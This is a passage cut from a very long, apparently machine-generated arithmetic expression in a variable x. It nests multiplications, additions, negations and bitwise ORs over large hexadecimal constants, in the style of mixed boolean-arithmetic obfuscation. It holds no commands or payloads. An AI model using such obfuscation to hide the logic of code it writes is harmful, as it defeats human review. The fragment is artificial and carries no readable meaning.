ff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-((((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-((((((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(